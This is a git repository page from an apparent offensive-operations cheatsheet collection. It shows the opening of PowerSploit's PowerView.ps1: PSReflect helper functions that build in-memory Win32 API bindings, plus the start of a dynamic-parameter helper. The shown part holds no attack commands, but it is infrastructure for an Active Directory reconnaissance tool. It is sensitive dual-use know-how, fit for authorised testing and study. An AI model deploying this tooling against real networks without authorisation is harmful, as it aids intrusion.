daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

PowerView.ps1 (770279B)


      1 #requires -version 2
      2 
      3 <#
      4 
      5 PowerSploit File: PowerView.ps1
      6 Author: Will Schroeder (@harmj0y)
      7 License: BSD 3-Clause
      8 Required Dependencies: None
      9 
     10 #>
     11 
     12 
     13 ########################################################
     14 #
     15 # PSReflect code for Windows API access
     16 # Author: @mattifestation
     17 #   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
     18 #
     19 ########################################################
     20 
     21 function New-InMemoryModule {
     22 <#
     23 .SYNOPSIS
     24 
     25 Creates an in-memory assembly and module
     26 
     27 Author: Matthew Graeber (@mattifestation)
     28 License: BSD 3-Clause
     29 Required Dependencies: None
     30 Optional Dependencies: None
     31 
     32 .DESCRIPTION
     33 
     34 When defining custom enums, structs, and unmanaged functions, it is
     35 necessary to associate to an assembly module. This helper function
     36 creates an in-memory module that can be passed to the 'enum',
     37 'struct', and Add-Win32Type functions.
     38 
     39 .PARAMETER ModuleName
     40 
     41 Specifies the desired name for the in-memory assembly and module. If
     42 ModuleName is not provided, it will default to a GUID.
     43 
     44 .EXAMPLE
     45 
     46 $Module = New-InMemoryModule -ModuleName Win32
     47 #>
     48 
     49     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
     50     [CmdletBinding()]
     51     Param (
     52         [Parameter(Position = 0)]
     53         [ValidateNotNullOrEmpty()]
     54         [String]
     55         $ModuleName = [Guid]::NewGuid().ToString()
     56     )
     57 
     58     $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
     59     $LoadedAssemblies = $AppDomain.GetAssemblies()
     60 
     61     foreach ($Assembly in $LoadedAssemblies) {
     62         if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
     63             return $Assembly
     64         }
     65     }
     66 
     67     $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
     68     $Domain = $AppDomain
     69     $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
     70     $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
     71 
     72     return $ModuleBuilder
     73 }
     74 
     75 
     76 # A helper function used to reduce typing while defining function
     77 # prototypes for Add-Win32Type.
     78 function func {
     79     Param (
     80         [Parameter(Position = 0, Mandatory = $True)]
     81         [String]
     82         $DllName,
     83 
     84         [Parameter(Position = 1, Mandatory = $True)]
     85         [string]
     86         $FunctionName,
     87 
     88         [Parameter(Position = 2, Mandatory = $True)]
     89         [Type]
     90         $ReturnType,
     91 
     92         [Parameter(Position = 3)]
     93         [Type[]]
     94         $ParameterTypes,
     95 
     96         [Parameter(Position = 4)]
     97         [Runtime.InteropServices.CallingConvention]
     98         $NativeCallingConvention,
     99 
    100         [Parameter(Position = 5)]
    101         [Runtime.InteropServices.CharSet]
    102         $Charset,
    103 
    104         [String]
    105         $EntryPoint,
    106 
    107         [Switch]
    108         $SetLastError
    109     )
    110 
    111     $Properties = @{
    112         DllName = $DllName
    113         FunctionName = $FunctionName
    114         ReturnType = $ReturnType
    115     }
    116 
    117     if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
    118     if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
    119     if ($Charset) { $Properties['Charset'] = $Charset }
    120     if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
    121     if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
    122 
    123     New-Object PSObject -Property $Properties
    124 }
    125 
    126 
    127 function Add-Win32Type
    128 {
    129 <#
    130 .SYNOPSIS
    131 
    132 Creates a .NET type for an unmanaged Win32 function.
    133 
    134 Author: Matthew Graeber (@mattifestation)
    135 License: BSD 3-Clause
    136 Required Dependencies: None
    137 Optional Dependencies: func
    138 
    139 .DESCRIPTION
    140 
    141 Add-Win32Type enables you to easily interact with unmanaged (i.e.
    142 Win32 unmanaged) functions in PowerShell. After providing
    143 Add-Win32Type with a function signature, a .NET type is created
    144 using reflection (i.e. csc.exe is never called like with Add-Type).
    145 
    146 The 'func' helper function can be used to reduce typing when defining
    147 multiple function definitions.
    148 
    149 .PARAMETER DllName
    150 
    151 The name of the DLL.
    152 
    153 .PARAMETER FunctionName
    154 
    155 The name of the target function.
    156 
    157 .PARAMETER EntryPoint
    158 
    159 The DLL export function name. This argument should be specified if the
    160 specified function name is different than the name of the exported
    161 function.
    162 
    163 .PARAMETER ReturnType
    164 
    165 The return type of the function.
    166 
    167 .PARAMETER ParameterTypes
    168 
    169 The function parameters.
    170 
    171 .PARAMETER NativeCallingConvention
    172 
    173 Specifies the native calling convention of the function. Defaults to
    174 stdcall.
    175 
    176 .PARAMETER Charset
    177 
    178 If you need to explicitly call an 'A' or 'W' Win32 function, you can
    179 specify the character set.
    180 
    181 .PARAMETER SetLastError
    182 
    183 Indicates whether the callee calls the SetLastError Win32 API
    184 function before returning from the attributed method.
    185 
    186 .PARAMETER Module
    187 
    188 The in-memory module that will host the functions. Use
    189 New-InMemoryModule to define an in-memory module.
    190 
    191 .PARAMETER Namespace
    192 
    193 An optional namespace to prepend to the type. Add-Win32Type defaults
    194 to a namespace consisting only of the name of the DLL.
    195 
    196 .EXAMPLE
    197 
    198 $Mod = New-InMemoryModule -ModuleName Win32
    199 
    200 $FunctionDefinitions = @(
    201   (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
    202   (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
    203   (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
    204 )
    205 
    206 $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
    207 $Kernel32 = $Types['kernel32']
    208 $Ntdll = $Types['ntdll']
    209 $Ntdll::RtlGetCurrentPeb()
    210 $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
    211 $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
    212 
    213 .NOTES
    214 
    215 Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
    216 
    217 When defining multiple function prototypes, it is ideal to provide
    218 Add-Win32Type with an array of function signatures. That way, they
    219 are all incorporated into the same in-memory module.
    220 #>
    221 
    222     [OutputType([Hashtable])]
    223     Param(
    224         [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
    225         [String]
    226         $DllName,
    227 
    228         [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
    229         [String]
    230         $FunctionName,
    231 
    232         [Parameter(ValueFromPipelineByPropertyName=$True)]
    233         [String]
    234         $EntryPoint,
    235 
    236         [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
    237         [Type]
    238         $ReturnType,
    239 
    240         [Parameter(ValueFromPipelineByPropertyName=$True)]
    241         [Type[]]
    242         $ParameterTypes,
    243 
    244         [Parameter(ValueFromPipelineByPropertyName=$True)]
    245         [Runtime.InteropServices.CallingConvention]
    246         $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
    247 
    248         [Parameter(ValueFromPipelineByPropertyName=$True)]
    249         [Runtime.InteropServices.CharSet]
    250         $Charset = [Runtime.InteropServices.CharSet]::Auto,
    251 
    252         [Parameter(ValueFromPipelineByPropertyName=$True)]
    253         [Switch]
    254         $SetLastError,
    255 
    256         [Parameter(Mandatory=$True)]
    257         [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
    258         $Module,
    259 
    260         [ValidateNotNull()]
    261         [String]
    262         $Namespace = ''
    263     )
    264 
    265     BEGIN
    266     {
    267         $TypeHash = @{}
    268     }
    269 
    270     PROCESS
    271     {
    272         if ($Module -is [Reflection.Assembly])
    273         {
    274             if ($Namespace)
    275             {
    276                 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
    277             }
    278             else
    279             {
    280                 $TypeHash[$DllName] = $Module.GetType($DllName)
    281             }
    282         }
    283         else
    284         {
    285             # Define one type for each DLL
    286             if (!$TypeHash.ContainsKey($DllName))
    287             {
    288                 if ($Namespace)
    289                 {
    290                     $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
    291                 }
    292                 else
    293                 {
    294                     $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
    295                 }
    296             }
    297 
    298             $Method = $TypeHash[$DllName].DefineMethod(
    299                 $FunctionName,
    300                 'Public,Static,PinvokeImpl',
    301                 $ReturnType,
    302                 $ParameterTypes)
    303 
    304             # Make each ByRef parameter an Out parameter
    305             $i = 1
    306             foreach($Parameter in $ParameterTypes)
    307             {
    308                 if ($Parameter.IsByRef)
    309                 {
    310                     [void] $Method.DefineParameter($i, 'Out', $null)
    311                 }
    312 
    313                 $i++
    314             }
    315 
    316             $DllImport = [Runtime.InteropServices.DllImportAttribute]
    317             $SetLastErrorField = $DllImport.GetField('SetLastError')
    318             $CallingConventionField = $DllImport.GetField('CallingConvention')
    319             $CharsetField = $DllImport.GetField('CharSet')
    320             $EntryPointField = $DllImport.GetField('EntryPoint')
    321             if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
    322 
    323             if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
    324 
    325             # Equivalent to C# version of [DllImport(DllName)]
    326             $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
    327             $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
    328                 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
    329                 [Reflection.FieldInfo[]] @($SetLastErrorField,
    330                                            $CallingConventionField,
    331                                            $CharsetField,
    332                                            $EntryPointField),
    333                 [Object[]] @($SLEValue,
    334                              ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
    335                              ([Runtime.InteropServices.CharSet] $Charset),
    336                              $ExportedFuncName))
    337 
    338             $Method.SetCustomAttribute($DllImportAttribute)
    339         }
    340     }
    341 
    342     END
    343     {
    344         if ($Module -is [Reflection.Assembly])
    345         {
    346             return $TypeHash
    347         }
    348 
    349         $ReturnTypes = @{}
    350 
    351         foreach ($Key in $TypeHash.Keys)
    352         {
    353             $Type = $TypeHash[$Key].CreateType()
    354 
    355             $ReturnTypes[$Key] = $Type
    356         }
    357 
    358         return $ReturnTypes
    359     }
    360 }
    361 
    362 
    363 function psenum {
    364 <#
    365 .SYNOPSIS
    366 
    367 Creates an in-memory enumeration for use in your PowerShell session.
    368 
    369 Author: Matthew Graeber (@mattifestation)
    370 License: BSD 3-Clause
    371 Required Dependencies: None
    372 Optional Dependencies: None
    373 
    374 .DESCRIPTION
    375 
    376 The 'psenum' function facilitates the creation of enums entirely in
    377 memory using as close to a "C style" as PowerShell will allow.
    378 
    379 .PARAMETER Module
    380 
    381 The in-memory module that will host the enum. Use
    382 New-InMemoryModule to define an in-memory module.
    383 
    384 .PARAMETER FullName
    385 
    386 The fully-qualified name of the enum.
    387 
    388 .PARAMETER Type
    389 
    390 The type of each enum element.
    391 
    392 .PARAMETER EnumElements
    393 
    394 A hashtable of enum elements.
    395 
    396 .PARAMETER Bitfield
    397 
    398 Specifies that the enum should be treated as a bitfield.
    399 
    400 .EXAMPLE
    401 
    402 $Mod = New-InMemoryModule -ModuleName Win32
    403 
    404 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
    405     UNKNOWN =                  0
    406     NATIVE =                   1 # Image doesn't require a subsystem.
    407     WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.
    408     WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.
    409     OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.
    410     POSIX_CUI =                7 # Image runs in the Posix character subsystem.
    411     NATIVE_WINDOWS =           8 # Image is a native Win9x driver.
    412     WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.
    413     EFI_APPLICATION =          10
    414     EFI_BOOT_SERVICE_DRIVER =  11
    415     EFI_RUNTIME_DRIVER =       12
    416     EFI_ROM =                  13
    417     XBOX =                     14
    418     WINDOWS_BOOT_APPLICATION = 16
    419 }
    420 
    421 .NOTES
    422 
    423 PowerShell purists may disagree with the naming of this function but
    424 again, this was developed in such a way so as to emulate a "C style"
    425 definition as closely as possible. Sorry, I'm not going to name it
    426 New-Enum. :P
    427 #>
    428 
    429     [OutputType([Type])]
    430     Param (
    431         [Parameter(Position = 0, Mandatory=$True)]
    432         [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
    433         $Module,
    434 
    435         [Parameter(Position = 1, Mandatory=$True)]
    436         [ValidateNotNullOrEmpty()]
    437         [String]
    438         $FullName,
    439 
    440         [Parameter(Position = 2, Mandatory=$True)]
    441         [Type]
    442         $Type,
    443 
    444         [Parameter(Position = 3, Mandatory=$True)]
    445         [ValidateNotNullOrEmpty()]
    446         [Hashtable]
    447         $EnumElements,
    448 
    449         [Switch]
    450         $Bitfield
    451     )
    452 
    453     if ($Module -is [Reflection.Assembly])
    454     {
    455         return ($Module.GetType($FullName))
    456     }
    457 
    458     $EnumType = $Type -as [Type]
    459 
    460     $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
    461 
    462     if ($Bitfield)
    463     {
    464         $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
    465         $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
    466         $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
    467     }
    468 
    469     foreach ($Key in $EnumElements.Keys)
    470     {
    471         # Apply the specified enum type to each element
    472         $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
    473     }
    474 
    475     $EnumBuilder.CreateType()
    476 }
    477 
    478 
    479 # A helper function used to reduce typing while defining struct
    480 # fields.
    481 function field {
    482     Param (
    483         [Parameter(Position = 0, Mandatory=$True)]
    484         [UInt16]
    485         $Position,
    486 
    487         [Parameter(Position = 1, Mandatory=$True)]
    488         [Type]
    489         $Type,
    490 
    491         [Parameter(Position = 2)]
    492         [UInt16]
    493         $Offset,
    494 
    495         [Object[]]
    496         $MarshalAs
    497     )
    498 
    499     @{
    500         Position = $Position
    501         Type = $Type -as [Type]
    502         Offset = $Offset
    503         MarshalAs = $MarshalAs
    504     }
    505 }
    506 
    507 
    508 function struct
    509 {
    510 <#
    511 .SYNOPSIS
    512 
    513 Creates an in-memory struct for use in your PowerShell session.
    514 
    515 Author: Matthew Graeber (@mattifestation)
    516 License: BSD 3-Clause
    517 Required Dependencies: None
    518 Optional Dependencies: field
    519 
    520 .DESCRIPTION
    521 
    522 The 'struct' function facilitates the creation of structs entirely in
    523 memory using as close to a "C style" as PowerShell will allow. Struct
    524 fields are specified using a hashtable where each field of the struct
    525 is comprosed of the order in which it should be defined, its .NET
    526 type, and optionally, its offset and special marshaling attributes.
    527 
    528 One of the features of 'struct' is that after your struct is defined,
    529 it will come with a built-in GetSize method as well as an explicit
    530 converter so that you can easily cast an IntPtr to the struct without
    531 relying upon calling SizeOf and/or PtrToStructure in the Marshal
    532 class.
    533 
    534 .PARAMETER Module
    535 
    536 The in-memory module that will host the struct. Use
    537 New-InMemoryModule to define an in-memory module.
    538 
    539 .PARAMETER FullName
    540 
    541 The fully-qualified name of the struct.
    542 
    543 .PARAMETER StructFields
    544 
    545 A hashtable of fields. Use the 'field' helper function to ease
    546 defining each field.
    547 
    548 .PARAMETER PackingSize
    549 
    550 Specifies the memory alignment of fields.
    551 
    552 .PARAMETER ExplicitLayout
    553 
    554 Indicates that an explicit offset for each field will be specified.
    555 
    556 .EXAMPLE
    557 
    558 $Mod = New-InMemoryModule -ModuleName Win32
    559 
    560 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
    561     DOS_SIGNATURE =    0x5A4D
    562     OS2_SIGNATURE =    0x454E
    563     OS2_SIGNATURE_LE = 0x454C
    564     VXD_SIGNATURE =    0x454C
    565 }
    566 
    567 $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
    568     e_magic =    field 0 $ImageDosSignature
    569     e_cblp =     field 1 UInt16
    570     e_cp =       field 2 UInt16
    571     e_crlc =     field 3 UInt16
    572     e_cparhdr =  field 4 UInt16
    573     e_minalloc = field 5 UInt16
    574     e_maxalloc = field 6 UInt16
    575     e_ss =       field 7 UInt16
    576     e_sp =       field 8 UInt16
    577     e_csum =     field 9 UInt16
    578     e_ip =       field 10 UInt16
    579     e_cs =       field 11 UInt16
    580     e_lfarlc =   field 12 UInt16
    581     e_ovno =     field 13 UInt16
    582     e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)
    583     e_oemid =    field 15 UInt16
    584     e_oeminfo =  field 16 UInt16
    585     e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)
    586     e_lfanew =   field 18 Int32
    587 }
    588 
    589 # Example of using an explicit layout in order to create a union.
    590 $TestUnion = struct $Mod TestUnion @{
    591     field1 = field 0 UInt32 0
    592     field2 = field 1 IntPtr 0
    593 } -ExplicitLayout
    594 
    595 .NOTES
    596 
    597 PowerShell purists may disagree with the naming of this function but
    598 again, this was developed in such a way so as to emulate a "C style"
    599 definition as closely as possible. Sorry, I'm not going to name it
    600 New-Struct. :P
    601 #>
    602 
    603     [OutputType([Type])]
    604     Param (
    605         [Parameter(Position = 1, Mandatory=$True)]
    606         [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
    607         $Module,
    608 
    609         [Parameter(Position = 2, Mandatory=$True)]
    610         [ValidateNotNullOrEmpty()]
    611         [String]
    612         $FullName,
    613 
    614         [Parameter(Position = 3, Mandatory=$True)]
    615         [ValidateNotNullOrEmpty()]
    616         [Hashtable]
    617         $StructFields,
    618 
    619         [Reflection.Emit.PackingSize]
    620         $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
    621 
    622         [Switch]
    623         $ExplicitLayout
    624     )
    625 
    626     if ($Module -is [Reflection.Assembly])
    627     {
    628         return ($Module.GetType($FullName))
    629     }
    630 
    631     [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
    632         Class,
    633         Public,
    634         Sealed,
    635         BeforeFieldInit'
    636 
    637     if ($ExplicitLayout)
    638     {
    639         $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
    640     }
    641     else
    642     {
    643         $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
    644     }
    645 
    646     $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
    647     $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
    648     $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
    649 
    650     $Fields = New-Object Hashtable[]($StructFields.Count)
    651 
    652     # Sort each field according to the orders specified
    653     # Unfortunately, PSv2 doesn't have the luxury of the
    654     # hashtable [Ordered] accelerator.
    655     foreach ($Field in $StructFields.Keys)
    656     {
    657         $Index = $StructFields[$Field]['Position']
    658         $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
    659     }
    660 
    661     foreach ($Field in $Fields)
    662     {
    663         $FieldName = $Field['FieldName']
    664         $FieldProp = $Field['Properties']
    665 
    666         $Offset = $FieldProp['Offset']
    667         $Type = $FieldProp['Type']
    668         $MarshalAs = $FieldProp['MarshalAs']
    669 
    670         $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
    671 
    672         if ($MarshalAs)
    673         {
    674             $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
    675             if ($MarshalAs[1])
    676             {
    677                 $Size = $MarshalAs[1]
    678                 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
    679                     $UnmanagedType, $SizeConst, @($Size))
    680             }
    681             else
    682             {
    683                 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
    684             }
    685 
    686             $NewField.SetCustomAttribute($AttribBuilder)
    687         }
    688 
    689         if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
    690     }
    691 
    692     # Make the struct aware of its own size.
    693     # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
    694     $SizeMethod = $StructBuilder.DefineMethod('GetSize',
    695         'Public, Static',
    696         [Int],
    697         [Type[]] @())
    698     $ILGenerator = $SizeMethod.GetILGenerator()
    699     # Thanks for the help, Jason Shirk!
    700     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    701     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
    702         [Type].GetMethod('GetTypeFromHandle'))
    703     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
    704         [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
    705     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
    706 
    707     # Allow for explicit casting from an IntPtr
    708     # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
    709     $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
    710         'PrivateScope, Public, Static, HideBySig, SpecialName',
    711         $StructBuilder,
    712         [Type[]] @([IntPtr]))
    713     $ILGenerator2 = $ImplicitConverter.GetILGenerator()
    714     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
    715     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
    716     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    717     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
    718         [Type].GetMethod('GetTypeFromHandle'))
    719     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
    720         [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
    721     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
    722     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
    723 
    724     $StructBuilder.CreateType()
    725 }
    726 
    727 
    728 ########################################################
    729 #
    730 # Misc. helpers
    731 #
    732 ########################################################
    733 
    734 Function New-DynamicParameter {
    735 <#
    736 .SYNOPSIS
    737 
    738 Helper function to simplify creating dynamic parameters.
    739 
    740     Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/.
    741     Originally released under the Microsoft Public License (Ms-PL).
    742 
    743 .DESCRIPTION
    744 
    745 Helper function to simplify creating dynamic parameters.
    746 
    747 Example use cases:
    748     Include parameters only if your environment dictates it
    749     Include parameters depending on the value of a user-specified parameter
    750     Provide tab completion and intellisense for parameters, depending on the environment
    751 
    752 Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.
    753     Use New-DynamicParameter with 'CreateVariables' switch in your main code block,
    754     ('Process' for advanced functions) to create those variables.
    755     Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.
    756 
    757 This function has two operating modes:
    758 
    759 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,
    760 with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.
    761 
    762 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.
    763 Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,
    764 with custom conditions and so on.
    765 
    766 .NOTES
    767 
    768 Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:
    769     https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1
    770     http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/
    771     http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/
    772 
    773 Credit to BM for alias and type parameters and their handling
    774 
    775 .PARAMETER Name
    776 
    777 Name of the dynamic parameter
    778 
    779 .PARAMETER Type
    780 
    781 Type for the dynamic parameter.  Default is string
    782 
    783 .PARAMETER Alias
    784 
    785 If specified, one or more aliases to assign to the dynamic parameter
    786 
    787 .PARAMETER Mandatory
    788 
    789 If specified, set the Mandatory attribute for this dynamic parameter
    790 
    791 .PARAMETER Position
    792 
    793 If specified, set the Position attribute for this dynamic parameter
    794 
    795 .PARAMETER HelpMessage
    796 
    797 If specified, set the HelpMessage for this dynamic parameter
    798 
    799 .PARAMETER DontShow
    800 
    801 If specified, set the DontShow for this dynamic parameter.
    802 This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.
    803 http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/
    804 
    805 .PARAMETER ValueFromPipeline
    806 
    807 If specified, set the ValueFromPipeline attribute for this dynamic parameter
    808 
    809 .PARAMETER ValueFromPipelineByPropertyName
    810 
    811 If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter
    812 
    813 .PARAMETER ValueFromRemainingArguments
    814 
    815 If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter
    816 
    817 .PARAMETER ParameterSetName
    818 
    819 If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.
    820 
    821 .PARAMETER AllowNull
    822 
    823 If specified, set the AllowNull attribute of this dynamic parameter
    824 
    825 .PARAMETER AllowEmptyString
    826 
    827 If specified, set the AllowEmptyString attribute of this dynamic parameter
    828 
    829 .PARAMETER AllowEmptyCollection
    830 
    831 If specified, set the AllowEmptyCollection attribute of this dynamic parameter
    832 
    833 .PARAMETER ValidateNotNull
    834 
    835 If specified, set the ValidateNotNull attribute of this dynamic parameter
    836 
    837 .PARAMETER ValidateNotNullOrEmpty
    838 
    839 If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter
    840 
    841 .PARAMETER ValidateRange
    842 
    843 If specified, set the ValidateRange attribute of this dynamic parameter
    844 
    845 .PARAMETER ValidateLength
    846 
    847 If specified, set the ValidateLength attribute of this dynamic parameter
    848 
    849 .PARAMETER ValidatePattern
    850 
    851 If specified, set the ValidatePattern attribute of this dynamic parameter
    852 
    853 .PARAMETER ValidateScript
    854 
    855 If specified, set the ValidateScript attribute of this dynamic parameter
    856 
    857 .PARAMETER ValidateSet
    858 
    859 If specified, set the ValidateSet attribute of this dynamic parameter
    860 
    861 .PARAMETER Dictionary
    862 
    863 If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.
    864 Appropriate for custom dynamic parameters creation.
    865 
    866 If not specified, create and return a RuntimeDefinedParameterDictionary
    867 Appropriate for a simple dynamic parameter creation.
    868 #>
    869 
    870     [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
    871     Param (
    872         [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    873         [ValidateNotNullOrEmpty()]
    874         [string]$Name,
    875 
    876         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    877         [System.Type]$Type = [int],
    878 
    879         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    880         [string[]]$Alias,
    881 
    882         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    883         [switch]$Mandatory,
    884 
    885         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    886         [int]$Position,
    887 
    888         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    889         [string]$HelpMessage,
    890 
    891         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    892         [switch]$DontShow,
    893 
    894         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    895         [switch]$ValueFromPipeline,
    896 
    897         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    898         [switch]$ValueFromPipelineByPropertyName,
    899 
    900         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    901         [switch]$ValueFromRemainingArguments,
    902 
    903         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    904         [string]$ParameterSetName = '__AllParameterSets',
    905 
    906         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    907         [switch]$AllowNull,
    908 
    909         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    910         [switch]$AllowEmptyString,
    911 
    912         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    913         [switch]$AllowEmptyCollection,
    914 
    915         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    916         [switch]$ValidateNotNull,
    917 
    918         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    919         [switch]$ValidateNotNullOrEmpty,
    920 
    921         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    922         [ValidateCount(2,2)]
    923         [int[]]$ValidateCount,
    924 
    925         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    926         [ValidateCount(2,2)]
    927         [int[]]$ValidateRange,
    928 
